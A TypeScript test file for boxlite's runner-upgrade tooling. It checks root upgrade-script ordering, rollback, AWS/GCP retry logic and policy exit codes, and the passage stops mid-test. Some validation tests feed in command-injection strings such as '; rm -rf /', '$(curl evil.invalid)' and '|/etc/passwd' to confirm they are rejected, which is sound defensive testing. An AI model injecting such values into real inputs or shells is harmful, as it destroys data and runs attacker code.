The micro-VM for AI agents — light enough to embed on your laptop, elastic enough to power an agentic cloud.
/*
* The in-place upgrade: the payload one host runs, and the roll that drives it.
*
* What is checked is the shape a person cannot see by reading the string. The
* payload runs as root on a host holding live boxes, and the order of its steps
* is the whole design — verify before stopping the unit, converge instead of
* reinstalling, roll back rather than leaving a host with no binary. Each of
* those is an ordering claim, so each is asserted as one.
*
* The roll is checked on the two decisions it actually makes: which errors are
* worth another attempt, and what counts as a verdict.
*/
import assert from 'node:assert/strict'
import { spawnSync } from 'node:child_process'
import { chmodSync, mkdirSync, mkdtempSync, readFileSync, rmSync, symlinkSync, writeFileSync } from 'node:fs'
import { tmpdir } from 'node:os'
import { join } from 'node:path'
import test from 'node:test'
import { fileURLToPath } from 'node:url'
import {
RunnerUpgradeError,
ON_HOST,
encodeUpgradePayload,
renderUpgradePayload,
renderHostConvergence,
renderUnitEnvironmentPolicyScripts,
renderPolicyScripts,
unitEnvironmentBlock,
upgradeResourceName,
upgradeTrigger,
type RunnerDataDiskIdentity,
type UpgradeTarget,
} from '../stack/runner-upgrade.ts'
import { upgradeRunner, type CommandResult } from '../src/upgrade-runners.ts'
import { runnerApiUrl } from '../stack/runner-boot.ts'
import { CLOUD_RUNNER_KERNEL } from '../stack/runner-kernel.ts'
import { runnerDataDiskNameFor } from '../stack/runners.ts'
const REF = 'f'.repeat(40)
const RELEASE = 'https://github.com/boxlite-ai/boxlite/releases/download/v0.10.0'
const TARBALL = 'boxlite-runner-v0.10.0-linux-amd64.tar.gz'
const released = {
tarballUrl: `${RELEASE}/${TARBALL}`,
checksumUrl: `${RELEASE}/${TARBALL}.sha256`,
tarballName: TARBALL,
transport: 'https' as const,
source: 'release' as const,
identity: '0.10.0',
}
const target = (overrides: Partial<UpgradeTarget> = {}): UpgradeTarget => ({
identity: '0.10.0',
binary: released,
port: 3003,
...overrides,
})
test('the bytes are verified before the unit is stopped', () => {
// A failed or corrupt fetch must never take a runner down. Ordering, because
// both steps are present either way — it is the sequence that is the claim.
const payload = renderUpgradePayload(target())
const verifies = payload.indexOf('runner checksum mismatch')
const stops = payload.indexOf('systemctl stop boxlite-runner')
assert.notEqual(verifies, -1)
assert.ok(verifies < stops, 'verifying after stopping leaves a host down on a bad download')
assert.match(payload, /\[ "\$EXPECTED" = "\$ACTUAL" \]/, 'the manifest digest is compared to the bytes')
assert.match(payload, new RegExp(`${TARBALL.replace(/\./g, '\\.')}\\.sha256`), 'the manifest is fetched beside it')
})
test('a host still bootstrapping is left alone, before anything probes it', () => {
// A fresh instance reports `running` long before cloud-init has written the
// unit, and its boot script installs this very identity. Swapping against a
// missing unit would fail and roll back a host that was coming up fine.
const payload = renderUpgradePayload(target())
const bails = payload.indexOf('still bootstrapping')
const probes = payload.indexOf('CURRENT=$(probe_identity')
assert.notEqual(bails, -1)
assert.ok(bails < probes, '"not serving" here means "not built yet", which is not a repair case')
assert.match(payload, /systemctl is-enabled --quiet boxlite-runner/, 'the last of the three to become true')
})
test('a host already serving the target is not restarted', () => {
// What makes running this on every deploy free of gratuitous restarts.
const payload = renderUpgradePayload(target())
assert.match(payload, /already serving \$TARGET; leaving the unit untouched/)
const converges = payload.indexOf('already serving $TARGET')
const downloads = payload.indexOf('mktemp -d')
assert.ok(converges < downloads, 'a converged host must not even fetch')
})
test('a failed swap rolls back to the binary that was serving', () => {
const payload = renderUpgradePayload(target())
assert.match(payload, /cp -a \/usr\/local\/bin\/boxlite-runner \/usr\/local\/bin\/boxlite-runner\.bak/)
assert.match(payload, /mv -f \/usr\/local\/bin\/boxlite-runner\.bak \/usr\/local\/bin\/boxlite-runner/)
const backs = payload.indexOf('boxlite-runner.bak\n HAD_PREVIOUS=true')
const stops = payload.indexOf('systemctl stop boxlite-runner')
assert.ok(backs !== -1 && backs < stops, 'the backup is taken before the unit goes down')
})
test('the roll does not advance until the host reports the new identity', () => {
// The rolling-step boundary: process-alive is not a sufficient signal, and
// the caller only moves on when this exits 0.
const payload = renderUpgradePayload(target())
assert.match(payload, /wait_for_target\(\) \{/)
assert.match(payload, /&& wait_for_target; then/)
})
test('a release will not be moved backwards, and a build has no ordering to guard', () => {
// A host serving something newer is usually a deliberate hand-install, so it
// is refused rather than reverted. Two commits of one checkout version are
// neither older nor newer, so in build mode "install this commit" can only
// mean install it.
const release = renderUpgradePayload(target())
assert.match(release, /refusing to downgrade \(set ALLOW_DOWNGRADE=1 to force\)/)
assert.match(release, /cur_core=\$\{cur_core%%\+\*\}/, 'build metadata is stripped, as semver requires')
const build = renderUpgradePayload(
target({ identity: `0.10.0+${REF}`, binary: { ...released, source: 'build', identity: `0.10.0+${REF}` } }),
)
assert.doesNotMatch(build, /refusing to downgrade/)
assert.match(build, /no ordering to guard/)
})
test('a rollback is possible, and only when it is asked for', () => {
assert.match(renderUpgradePayload(target()), /ALLOW_DOWNGRADE=""/)
assert.match(renderUpgradePayload(target({ allowDowngrade: true })), /ALLOW_DOWNGRADE="1"/)
})
test('each transport fetches the way it must, and a build needs its region', () => {
// The two sources differ only in how the bytes are read: a release is public,
// a build is an object only the host's own role may read.
assert.match(renderUpgradePayload(target()), /curl --fail --silent --show-error --location --proto '=https'/)
const name = `boxlite-runner-v0.10.0-${REF}-linux-amd64.tar.gz`
const staged = {
identity: `0.10.0+${REF}`,
binary: {
tarballUrl: `s3://boxlite-app-dev-artifacts/runner/${REF}/${name}`,
checksumUrl: `s3://boxlite-app-dev-artifacts/runner/${REF}/${name}.sha256`,
tarballName: name,
transport: 's3' as const,
source: 'build' as const,
identity: `0.10.0+${REF}`,
},
}
assert.match(
renderUpgradePayload(target({ ...staged, region: 'ap-southeast-1' })),
/aws .*s3 cp --region ap-southeast-1/,
)
assert.throws(() => renderUpgradePayload(target(staged)), /needs the region that bucket lives in/)
})
test('nothing unvalidated is interpolated into a script that runs as root', () => {
// The module that emits root bash is the one that has to be sure, whatever
// the resolver already checked.
assert.throws(() => renderUpgradePayload(target({ identity: '0.10.0; rm -rf /' })), RunnerUpgradeError)
assert.throws(() => renderUpgradePayload(target({ port: 0 })), /whole number from 1 to 65535/)
// The name reaches an awk ERE and a shell, so it is checked here even though
// `runner-binary.ts` composed it from a validated version and commit.
assert.throws(
() => renderUpgradePayload(target({ binary: { ...released, tarballName: 'runner.tar.gz; rm -rf /' } })),
/reaches an awk pattern and a shell/,
)
assert.throws(
() =>
renderUpgradePayload(
target({ binary: { ...released, transport: 's3', tarballUrl: 's3://b/k', checksumUrl: 's3://b/k.sha256' } }),
),
/needs the region that bucket lives in/,
)
})
test('the trigger includes runner identity and the independent kernel digest', () => {
// A fleet that re-ran the payload on every deploy would restart for nothing,
// so the trigger is only what could change about the run.
assert.equal(upgradeTrigger({ identity: '0.10.0', binary: released }), `0.10.0:${TARBALL}:${CLOUD_RUNNER_KERNEL.sha256}`)
assert.notEqual(
upgradeTrigger({ identity: '0.10.0', binary: released, kernel: { ...CLOUD_RUNNER_KERNEL, sha256: 'a'.repeat(64) } }),
upgradeTrigger({ identity: '0.10.0', binary: released }),
)
assert.notEqual(
upgradeTrigger({ identity: `0.10.0+${REF}`, binary: released }),
upgradeTrigger({ identity: '0.10.0', binary: released }),
)
})
test('a host’s upgrade is named after the host, by its stable name', () => {
// Not by the control-plane name: that one is `DEFAULT_RUNNER_NAME`, which a
// stage may set to anything, so a resource keyed on it would be replaced the
// day someone renamed a runner.
const slot = (resourceName: string) => ({
resourceName,
nameTag: 'boxlite-runner',
controlPlaneRunnerName: 'anything',
})
assert.equal(upgradeResourceName(slot('Runner')), 'UpgradeRunnerBinary')
assert.equal(upgradeResourceName(slot('Runner-runner-2')), 'UpgradeRunnerBinary-runner-2')
})
// ── the roll ────────────────────────────────────────────────────────────────
const awsEnvironment = {
RUNNER_UPGRADE_CLOUD: 'aws',
RUNNER_UPGRADE_TARGET: 'i-0abc',
RUNNER_UPGRADE_IDENTITY: '0.10.0',
RUNNER_UPGRADE_PAYLOAD: encodeUpgradePayload(target()),
AWS_REGION: 'ap-southeast-1',
}
const ok = (stdout = ''): CommandResult => ({ ok: true, status: 0, stdout, stderr: '' })
const failed = (stderr: string, status = 254): CommandResult => ({ ok: false, status, stdout: '', stderr })
test('an SSM command not yet accepted is retried, and a denied one is not', () => {
// SendCommand is rejected with InvalidInstanceId until the agent registers,
// and an instance reports `running` well before that. A denied permission is
// not transient, and retrying it thirty times only hides it.
const calls: string[][] = []
let attempts = 0
const run = (_file: string, args: string[]): CommandResult => {
calls.push(args)
if (args[1] === 'send-command') {
attempts += 1
return attempts < 3 ? failed('An error occurred (InvalidInstanceId)') : ok('cmd-1')
}
if (args.includes('Status')) return ok('Success')
return ok('')
}
assert.equal(upgradeRunner({ environment: awsEnvironment, run, sleep: () => {}, log: () => {} }), 0)
assert.equal(attempts, 3)
assert.ok(
calls.some((args) => args.includes('cmd-1')),
'the accepted command id is what is polled',
)
assert.throws(
() =>
upgradeRunner({
environment: awsEnvironment,
run: () => failed('An error occurred (AccessDeniedException)'),
sleep: () => {},
log: () => {},
}),
/aws ssm send-command failed for i-0abc/,
)
})
test('a non-Success terminal status fails the roll rather than continuing it', () => {
// The whole point of chaining the commands: a failure has to stop here, with
// the hosts not yet visited still serving the old binary.
const run = (_file: string, args: string[]): CommandResult => {
if (args[1] === 'send-command') return ok('cmd-1')
if (args.includes('Status')) return ok('Failed')
return ok('upgrade failed; rolling back')
}
assert.throws(
() => upgradeRunner({ environment: awsEnvironment, run, sleep: () => {}, log: () => {} }),
/the SSM command cmd-1 finished Failed/,
)
})
test('an InProgress status is not a verdict', () => {
// `aws ssm wait command-executed` gives up after 100s and treats InProgress
// as retryable, so on a host whose upgrade legitimately runs longer it
// returns with the command still running — reading that as a verdict would
// abort the roll on a host that is upgrading fine.
let polls = 0
const run = (_file: string, args: string[]): CommandResult => {
if (args[1] === 'send-command') return ok('cmd-1')
if (args.includes('Status')) {
polls += 1
return ok(polls < 4 ? 'InProgress' : 'Success')
}
return ok('')
}
assert.equal(upgradeRunner({ environment: awsEnvironment, run, sleep: () => {}, log: () => {} }), 0)
assert.equal(polls, 4)
})
test('on GCP an unreachable tunnel is retried and a refused payload is not', () => {
/*
* The discriminant is the payload's own first line, not the exit code.
*
* The exit code cannot carry it: `gcloud compute ssh` exits 255 for most of
* its transport failures but not all of them — an external-organization
* identity is refused OS Login before any session opens and gcloud exits 1,
* which read as "the payload exited 1" and pointed a reader at a host the run
* had never touched. Seeing `ON_HOST` in the output is what makes an exit code
* a verdict about the runner rather than about the channel.
*/
const gcpEnvironment = {
RUNNER_UPGRADE_CLOUD: 'gcp',
RUNNER_UPGRADE_TARGET: 'boxlite-runner-default',
RUNNER_UPGRADE_IDENTITY: '0.10.0',
RUNNER_UPGRADE_PAYLOAD: encodeUpgradePayload(target()),
GCP_PROJECT: 'boxlite-gcp-dev',
GCP_ZONE: 'asia-southeast1-b',
}
let attempts = 0
const run = (file: string, args: string[]): CommandResult => {
assert.equal(file, 'gcloud')
assert.ok(args.includes('--tunnel-through-iap'), 'no inbound port is opened for a person')
attempts += 1
return attempts < 3
? failed('ssh: connect to host port 22: Connection refused', 255)
: ok(`${ON_HOST}\nnew identity: 0.10.0`)
}
assert.equal(upgradeRunner({ environment: gcpEnvironment, run, sleep: () => {}, log: () => {} }), 0)
assert.equal(attempts, 3)
// The payload ran and refused: its exit code is the verdict.
assert.throws(
() =>
upgradeRunner({
environment: gcpEnvironment,
run: () => ({ ok: false, status: 1, stdout: ON_HOST, stderr: 'FATAL: runner checksum mismatch' }),
sleep: () => {},
log: () => {},
}),
/the upgrade payload exited 1/,
)
})
test('a session gcloud refuses outright is reported once, and says nothing was touched', () => {
/*
* The failure this was written from: an operator whose account is in a
* different organization than the project. OS Login refuses to provision a
* POSIX account for them until `roles/compute.osLoginExternalUser` is granted
* on the organization that owns the VMs — and gcloud exits 1, before any
* session exists.
*
* The address and the project below are placeholders. The real ones were
* pasted in from a log, and neither an operator's name nor a live project id
* is something a fixture needs: no assertion reads them, and both outlive
* whoever hit the failure.
*
* Retrying it thirty times buries the one line that says what to grant, and
* calling it a payload failure sends someone to a host that was never
* reached. Both are asserted because both actually happened.
*/
const refused =
'ERROR: (gcloud.compute.ssh) [None] does not have permission to access users instance ' +
'[[email protected]:importSshPublicKey] (or it may not exist): Insufficient IAM permissions. ' +
'The instance belongs to an external organization. You must be granted the ' +
'roles/compute.osLoginExternalUser IAM role on the external organization'
let attempts = 0
assert.throws(
() =>
upgradeRunner({
environment: {
RUNNER_UPGRADE_CLOUD: 'gcp',
RUNNER_UPGRADE_TARGET: 'boxlite-runner-default',
RUNNER_UPGRADE_IDENTITY: '0.10.0',
RUNNER_UPGRADE_PAYLOAD: encodeUpgradePayload(target()),
GCP_PROJECT: 'boxlite-gcp-dev',
GCP_ZONE: 'asia-southeast1-b',
},
run: () => {
attempts += 1
return { ok: false, status: 1, stdout: '', stderr: refused }
},
sleep: () => {},
log: () => {},
}),
(error: Error) => {
assert.match(error.message, /never reached the host/)
assert.match(error.message, /Nothing on this runner was touched/)
assert.match(error.message, /roles\/compute\.osLoginExternalUser/, 'the one line worth reading survives')
return true
},
)
assert.equal(attempts, 1, 'a permission that is absent is refused identically on the thirty-first attempt')
})
test('a payload that is not the base64 the stack encoded is refused', () => {
// It reaches a shell verbatim, inside another command line.
assert.throws(
() =>
upgradeRunner({
environment: { ...awsEnvironment, RUNNER_UPGRADE_PAYLOAD: '$(curl evil.invalid)' },
run: () => ok(),
sleep: () => {},
log: () => {},
}),
/must be the base64 the stack encoded/,
)
})
test('a cloud with no channel here is named rather than guessed at', () => {
assert.throws(
() =>
upgradeRunner({
environment: { ...awsEnvironment, RUNNER_UPGRADE_CLOUD: 'azure' },
run: () => ok(),
sleep: () => {},
log: () => {},
}),
/RUNNER_UPGRADE_CLOUD must be "aws" or "gcp"/,
)
})
// AWS retains its host-by-host dependency chain. GCP batches are tested in runner-scale-out.test.ts.
test('AWS upgrades each host after the previous host completes', () => {
const aws = readFileSync(fileURLToPath(new URL('../stack/providers/aws/runners.ts', import.meta.url)), 'utf8')
const upgrades = aws.slice(aws.indexOf('let previousUpgrade'))
assert.notEqual(upgrades, '', 'aws does not chain its upgrades at all')
assert.match(
upgrades,
/previousUpgrade = new command\.local\.Command\(\s*upgradeResourceName\(/,
"aws does not carry each upgrade forward as the next one's predecessor",
)
assert.match(
upgrades,
/dependsOn: \[[^\]]*\.\.\.\(previousUpgrade \? \[previousUpgrade\] : \[\]\)\]/,
'aws does not make each upgrade wait on the previous host',
)
// Its own instance too: a host that does not exist has nothing to upgrade.
assert.match(upgrades, /dependsOn: \[instance,/, 'aws does not make an upgrade wait on its own host')
})
test('the policy scripts answer in the exit codes the agent grades them by', () => {
/*
* The whole contract of an `exec` resource: 100 from `validate` means "in the
* desired state" and `enforce` never runs; 101 is the only answer that makes
* it run. A script that fell off its end with 0 — which is success to a shell
* — is an *error* to the agent, and the host would be reported non-compliant
* forever without anything being attempted.
*/
const { validate, enforce } = renderPolicyScripts(target())
/*
* The shell, chosen in the file. `interpreter: SHELL` is /bin/sh — dash on
* Ubuntu — and this payload opens with `set -euo pipefail`, which dash
* refuses with exit 2: an execution error to the agent, so the host reports
* UNKNOWN and the upgrade is never attempted. A real fleet reported exactly
* that before this line existed.
*/
assert.ok(validate.startsWith('#!/bin/bash\n'), 'validate must name its own shell')
assert.ok(enforce.startsWith('#!/bin/bash\n'), 'enforce must name its own shell')
// Both guards report "nothing to do", and the mismatch path is the only 101.
assert.equal(validate.match(/^\s*exit 100$/gm)?.length, 2, 'validate must answer 100 on both guards')
assert.match(validate, /echo "runner binary or kernel needs updating"\nexit 101\n$/, 'validate must end by asking for enforcement')
// The work, graded the other way round.
assert.match(enforce, /then exit 100; fi/, 'enforce must turn a clean run into 100')
assert.match(enforce, /exit 101\n$/, 'and anything else into 101')
assert.match(enforce, /bash <<'BOXLITE_RUNNER_UPGRADE'/, 'enforce must run the payload as it is, not a second copy of it')
assert.equal(enforce.match(/^exit 101$/gm)?.length, 1, 'exactly one line turns a non-zero status into a policy failure')
// The payload keeps its own guards, and that is the point: the agent may
// reach enforce long after validate, and a host that converged in between
// must still be left alone.
assert.match(enforce, /already serving [$]TARGET; leaving the unit untouched/)
})
test('the control-plane URL is checked before it reaches a script that runs as root', () => {
/*
* The same rule the payload follows: the module that emits root bash is the
* one that has to be sure, whatever composed the value. This one lands in a
* single-quoted assignment and in a `sed` expression delimited by `|`, so a
* quote or a pipe in it is not a malformed URL but a command.
*/
for (const apiUrl of [
"https://api.example.com'; rm -rf / #",
'https://api.example.com|/etc/passwd',
'https://api.example.com/api',
'https://api example.com',
'ftp://api.example.com',
'',
]) {
assert.throws(
() => renderUnitEnvironmentPolicyScripts({ apiUrl, volumeBackend: 'gcs' }),
RunnerUpgradeError,
`accepted ${JSON.stringify(apiUrl)}`,
)
}
// And the shapes `api.address` actually composes are taken.
for (const apiUrl of ['https://api.boxlite.ai', 'https://api.boxlite.ai/', 'http://api.dev.boxlite.ai:8443']) {
assert.match(renderUnitEnvironmentPolicyScripts({ apiUrl, volumeBackend: 'gcs' }).validate, /BOXLITE_API_URL=/, `refused ${apiUrl}`)
}
})
test('the unit-environment policy answers the same exit codes, and keeps no copy of the token', () => {
const { validate, enforce } = renderUnitEnvironmentPolicyScripts({ apiUrl: 'https://api.boxlite.ai', volumeBackend: 'gcs' })
assert.ok(validate.startsWith('#!/bin/bash\n'), 'validate must name its own shell')
assert.ok(enforce.startsWith('#!/bin/bash\n'), 'enforce must name its own shell')
// Both satisfied paths — a host still bootstrapping, and one already
// converged — answer through the same predicate, so 100 is reached from one
// place and 101 is the only thing that asks the agent to enforce.
assert.match(validate, /if unit_environment_settled; then exit 100; fi/)
assert.match(validate, /still bootstrapping/)
assert.match(validate, /already pointed at the current control plane/)
assert.match(validate, /exit 101\n$/, 'validate must end by asking for enforcement')
// Replace the key the file names and append the one it does not, in one pass
// that keeps the order — and with the value as an awk variable rather than
// inside the program, so an address carrying a pipe cannot become an
// expression. Then put the file back when neither took.
assert.match(enforce, /awk -v key="\$key" -v line="\$line"/, 'enforce must rewrite through awk')
assert.match(enforce, /\{ print line; found = 1; next \}/, 'it must replace the line it found')
assert.match(enforce, /END \{ if \(!found\) print line \}/, 'and append the one it did not')
assert.ok(enforce.includes('mv "$UNIT_ENV_FILE.bak" "$UNIT_ENV_FILE"'), 'enforce must restore when the rewrite did not take')
// Every expected line goes through one loop and one verdict, so a failure on
// either reaches the restore rather than leaving the host half converged.
assert.match(enforce, /if ! rewrite_unit_environment \|\| ! unit_environment_matches; then/)
/*
* The backup is a copy of the unit environment, which carries
* BOXLITE_RUNNER_TOKEN. A converged host must not be left holding a second
* copy of it, and the removal has to come before the restart so a failure
* there does not leave one behind either.
*
* Removed on each path rather than trapped: `renderHostConvergence` puts this
* block after the binary half, whose `swapSequence` already owns the EXIT
* trap — and bash keeps one, so a trap here would take that one's place and
* leave the download directory behind instead.
*/
const lines = enforce.split('\n')
const copied = lines.findIndex((line) => line.includes('cp -a "$UNIT_ENV_FILE" "$UNIT_ENV_FILE.bak"'))
const removed = lines.findIndex((line) => line.includes('rm -f "$UNIT_ENV_FILE.bak"'))
const restarted = lines.findIndex((line) => line.includes('systemctl restart boxlite-runner'))
assert.ok(copied >= 0, 'enforce must keep a backup to restore from')
assert.ok(removed > copied, 'and remove it once the rewrite took')
assert.ok(removed < restarted, 'before the restart, so a failure there leaves no copy behind')
assert.doesNotMatch(enforce, /trap .* EXIT/, 'the EXIT trap belongs to the half this block is concatenated after')
// A converged host is a satisfied policy, through the same status translation
// the binary's enforce uses: the block grades itself 0, and only the wrapper
// turns that into the agent's 100.
assert.match(
enforce,
/status=\$\?\nif \[ "\$status" -eq 0 \]; then exit 100; fi\nexit 101\n$/,
'enforce must translate the block\'s own status rather than grade it twice',
)
})
/*
* The other thing a host cannot be told after first boot.
*
* `/etc/boxlite/runner.env` is written by the boot script, and the instance that holds it is
* `protect: true` with its user data in `ignoreChanges` — so a stage that moves
* its domain leaves every existing host calling a name that no longer resolves.
* GCP converges it through a second resource in the one policy assignment; a
* transport that carries a script has to carry both halves itself.
*/
test('a payload converges the unit environment as well as the binary', () => {
const payload = renderHostConvergence(target({ apiUrl: 'https://api.dev.boxlite.ai', volumeBackend: 'gcs' }))
const binary = payload.indexOf('upgrade_binary\n')
const environment = payload.indexOf('converge_unit_environment\n')
assert.notEqual(binary, -1, 'the binary half must still be called')
assert.notEqual(environment, -1, 'and the unit environment after it')
assert.ok(binary < environment, 'the binary leads, as the two policy resources do on GCP')
assert.ok(
payload.includes(`UNIT_ENV_EXPECTED=('BOXLITE_API_URL=${runnerApiUrl('https://api.dev.boxlite.ai')}' 'VOLUME_STORAGE_BACKEND=gcs')`),
'the payload must pin the line the boot script writes, through the same function',
)
})
test('a host already serving the target still has its environment converged', () => {
// The case this exists for is a stage that moved its domain and nothing else:
// every host is on the right binary, so a payload whose "already serving"
// ended the script would converge nothing, on every host, forever.
const payload = renderHostConvergence(target({ apiUrl: 'https://api.dev.boxlite.ai' }))
const satisfied = payload.slice(payload.indexOf('already serving $TARGET'))
assert.match(satisfied.split('\n')[1], /^\s*return 0$/, 'the binary half must return rather than exit')
assert.ok(payload.indexOf('converge_unit_environment\n') > payload.indexOf('already serving $TARGET'))
})
/*
* The key that froze empty, which is the same defect one step further on.
*
* `OTEL_EXPORTER_OTLP_ENDPOINT` is written beside `BOXLITE_API_URL` by the same
* boot script, from the collector's own URL — and a stage that had no collector
* when a host was created left it blank. `apps/runner/cmd/runner/main.go` guards
* both the logger and the tracer on a non-empty endpoint, so such a host ships
* no telemetry at all and, the boot script never running again, cannot be told.
*/
test('a payload converges the collector endpoint as well as the address', () => {
const payload = renderHostConvergence(
target({ apiUrl: 'https://api.dev.boxlite.ai', otlpUrl: 'http://collector:4318', volumeBackend: 'gcs' }),
)
assert.ok(
payload.includes(
`UNIT_ENV_EXPECTED=('BOXLITE_API_URL=${runnerApiUrl('https://api.dev.boxlite.ai')}' ` +
`'OTEL_EXPORTER_OTLP_ENDPOINT=http://collector:4318' 'VOLUME_STORAGE_BACKEND=gcs')`,
),
'the payload must pin the endpoint verbatim, as the boot script writes it',
)
})
test('OS Config repairs a missing or stale fetch URL and leaves a converged Runner running', () => {
const secretServerUrl = 'https://boxlite-dev-secret-fetch-123.us-east5.run.app'
const settings = { apiUrl: 'https://api.dev.boxlite.ai', secretServerUrl }
const scripts = renderUnitEnvironmentPolicyScripts(settings)
const directory = mkdtempSync('boxlite-fetch-url-')
const file = `${directory}/runner.env`
try {
writeFileSync(
`${directory}/systemctl`,
`#!/bin/bash\nif [ "$1" = restart ]; then echo restart >> '${directory}/calls'; fi\n`,
{ mode: 0o755 },
)
const run = (script: string) =>
spawnSync('bash', ['-c', script], {
env: { ...process.env, PATH: `${directory}:${process.env.PATH}`, BOXLITE_RUNNER_ENV_FILE: file },
encoding: 'utf8',
})
for (const initial of ['', 'SECRET_SERVER_URL=https://old.run.app\n']) {
writeFileSync(file, `BOXLITE_API_URL=https://api.dev.boxlite.ai/api\nKEEP=1\n${initial}`)
assert.equal(run(scripts.validate).status, 101, 'a missing or stale fetch URL must be detected')
assert.equal(run(scripts.enforce).status, 100)
const lines = readFileSync(file, 'utf8').split('\n')
const urls = lines.filter((line) => line.startsWith('SECRET_SERVER_URL='))
assert.deepEqual(urls, [`SECRET_SERVER_URL=${secretServerUrl}`])
assert.ok(lines.includes('KEEP=1'))
assert.equal(run(scripts.validate).status, 100)
assert.equal(run(scripts.enforce).status, 100)
}
assert.deepEqual(readFileSync(`${directory}/calls`, 'utf8').trim().split('\n'), ['restart', 'restart'])
} finally {
rmSync(directory, { recursive: true, force: true })
}
})
test('the managed fetch address requires HTTPS and cannot be overridden in the Runner environment', () => {
const settings = { apiUrl: 'https://api.dev.boxlite.ai', secretServerUrl: 'https://fetch.run.app' }
for (const secretServerUrl of ['', 'http://fetch.run.app', "https://fetch.run.app'"]) {
const invalid = { ...settings, secretServerUrl }
assert.throws(() => renderUnitEnvironmentPolicyScripts(invalid), /Secret Server/)
}
const conflicting = { ...settings, runnerEnv: '{"SECRET_SERVER_URL":"https://other.run.app"}' }
assert.throws(() => renderUnitEnvironmentPolicyScripts(conflicting), /deployment-owned key SECRET_SERVER_URL/)
})
test('GCP enrollment restarts only a Runner that needs runtime settings or activation', async (t) => {
const url = 'https://fetch.run.app'
const settings = { apiUrl: 'https://api.boxlite.ai', secretServerUrl: url, secretFetchInstanceIds: ['42'] }
const scripts = renderUnitEnvironmentPolicyScripts(settings)
for (const [name, liveUrl, program, apiUrl, restarts] of [
['only the enrollment ID is missing', url, 'boxlite-runner', settings.apiUrl, 0],
['the running process uses a stale fetch URL', 'https://old.run.app', 'boxlite-runner', settings.apiUrl, 1],
['the startup wrapper is waiting for enrollment', url, 'boxlite-runner-start.sh', settings.apiUrl, 1],
['the API address also changed', url, 'boxlite-runner', 'https://old-api.boxlite.ai', 1],
] as const) {
await t.test(name, (t) => {
const dir = mkdtempSync(join(tmpdir(), 'runner-enrollment-'))
t.after(() => rmSync(dir, { recursive: true, force: true }))
const proc = join(dir, 'proc', '17')
mkdirSync(proc, { recursive: true })
symlinkSync('/usr/local/bin/' + program, join(proc, 'exe'))
writeFileSync(join(proc, 'environ'), 'SECRET_SERVER_URL=' + liveUrl + '\0')
const envFile = join(dir, 'runner.env')
writeFileSync(envFile, `BOXLITE_API_URL=${apiUrl}/api\nSECRET_SERVER_URL=${url}\n`)
writeFileSync(join(dir, 'curl'), '#!/bin/sh\necho 42\n', { mode: 0o755 })
writeFileSync(
join(dir, 'systemctl'),
`#!/bin/sh
echo "$1" >> "$CALLS"
if [ "$1" = show ]; then echo 17; fi
`,
{ mode: 0o755 },
)
const calls = join(dir, 'calls')
const run = (script: string) =>
spawnSync('bash', ['-c', script.replaceAll('/proc/', dir + '/proc/')], {
encoding: 'utf8',
env: {
...process.env,
PATH: dir + ':' + process.env.PATH,
BOXLITE_RUNNER_ENV_FILE: envFile,
BOXLITE_RUNNER_UNIT_DIR: join(dir, 'unit.d'),
CALLS: calls,
},
})
assert.equal(run(scripts.validate).status, 101)
const result = run(scripts.enforce)
assert.equal(result.status, 100, result.stderr)
assert.equal(run(scripts.validate).status, 100)
assert.equal(run(scripts.enforce).status, 100)
assert.equal(
readFileSync(calls, 'utf8')
.split('\n')
.filter((verb) => verb === 'restart').length,
restarts,
)
assert.match(readFileSync(join(dir, 'secret-fetch.env'), 'utf8'), /^BOXLITE_SECRET_FETCH_INSTANCE_ID=42$/m)
})
}
})
test('an empty collector endpoint is refused rather than converged onto', () => {
/*
* Converging onto `` is the defect itself: every host would be rewritten to
* the one value that silences its exporter, and restarted to do it. Refused
* where the other two are, and for the extra reason that the shapes below
* reach a single-quoted assignment in a script that runs as root.
*/
for (const otlpUrl of ['', "http://collector:4318'; rm -rf / #", 'http://collector:4318|/etc/passwd']) {
assert.throws(
() => renderUnitEnvironmentPolicyScripts({ apiUrl: 'https://api.boxlite.ai', otlpUrl, volumeBackend: 'gcs' }),
RunnerUpgradeError,
`accepted ${JSON.stringify(otlpUrl)}`,
)
}
})
test('a caller with no collector endpoint leaves that key alone', () => {
// Absent is not empty. `runner:update` reads no stage environment, so it has
// no endpoint to enforce — and pinning one it never supplied is how a host
// gets converged onto nothing.
const payload = renderHostConvergence(target({ apiUrl: 'https://api.dev.boxlite.ai' }))
assert.match(payload, /converge_unit_environment/, 'the address alone is still converged')
assert.doesNotMatch(payload, /OTEL_EXPORTER_OTLP_ENDPOINT/)
})
test('the GCP policy resolves the endpoint rather than casting it', () => {
// `request.otlpUrl` is an Output, and `request.registryProxyHost` may be one.
// Cast instead of resolved, either renders as Pulumi's `[toString]` refusal
// text, and the fleet is then converged onto that — the trap
// `renderRunnerBoot` already records for the boot script.
const gcp = readFileSync(fileURLToPath(new URL('../stack/providers/gcp/runners.ts', import.meta.url)), 'utf8')
const policy = gcp.slice(gcp.indexOf('const unitEnvPolicy'), gcp.indexOf('const scripts'))
assert.match(
policy,
/\$resolve\(\[\s*request\.apiUrl,\s*request\.otlpUrl,\s*request\.registryProxyHost \?\? '',\s*request\.environment\.BOXLITE_RUNNER_ENV \?\? '',\s*fetchUrl \?\? null,\s*enrolledIds \?\? null,?\s*\]\)/,
'every address and the Runner environment must be resolved together',
)
assert.match(policy, /otlpUrl: otlpUrl as string/, 'and the resolved one is what reaches the renderer')
assert.match(policy, /registryProxyHost: \(proxyHost as string\) \|\| null/, 'and so does the resolved proxy host')
assert.match(policy, /runnerEnv: runnerEnv as string/, 'the map must reach existing GCP hosts')
const aws = readFileSync(fileURLToPath(new URL('../stack/providers/aws/runners.ts', import.meta.url)), 'utf8')
const payload = aws.slice(aws.indexOf('const payload'), aws.indexOf('previousUpgrade ='))
assert.match(payload, /request\.environment\.BOXLITE_RUNNER_ENV/)
assert.match(payload, /runnerEnv: runnerEnv as string/, 'the map must reach existing AWS hosts')
})
test('a caller with no control-plane address converges binary and kernel without rewriting API settings', () => {
// `runner:update` rolls a release by hand and never reads the stage's
// environment, so it has no address to enforce — and inventing one would
// rewrite a host from a value nobody supplied.
const payload = renderHostConvergence(target())
assert.doesNotMatch(payload, /converge_unit_environment/)
assert.doesNotMatch(payload, /BOXLITE_API_URL/)
assert.match(payload, /upgrade_binary\n/)
assert.ok(payload.lastIndexOf('fetch_runner_kernel\n') > payload.indexOf('upgrade_binary\n'))
})
test('an AWS host is sent both halves, and the address is what re-sends them', () => {
// The payload is only as good as what triggers it: a domain move changes no
// identity and no tarball, so without the address in `triggers` the command
// that carries the fix is never re-run.
const aws = readFileSync(fileURLToPath(new URL('../stack/providers/aws/runners.ts', import.meta.url)), 'utf8')
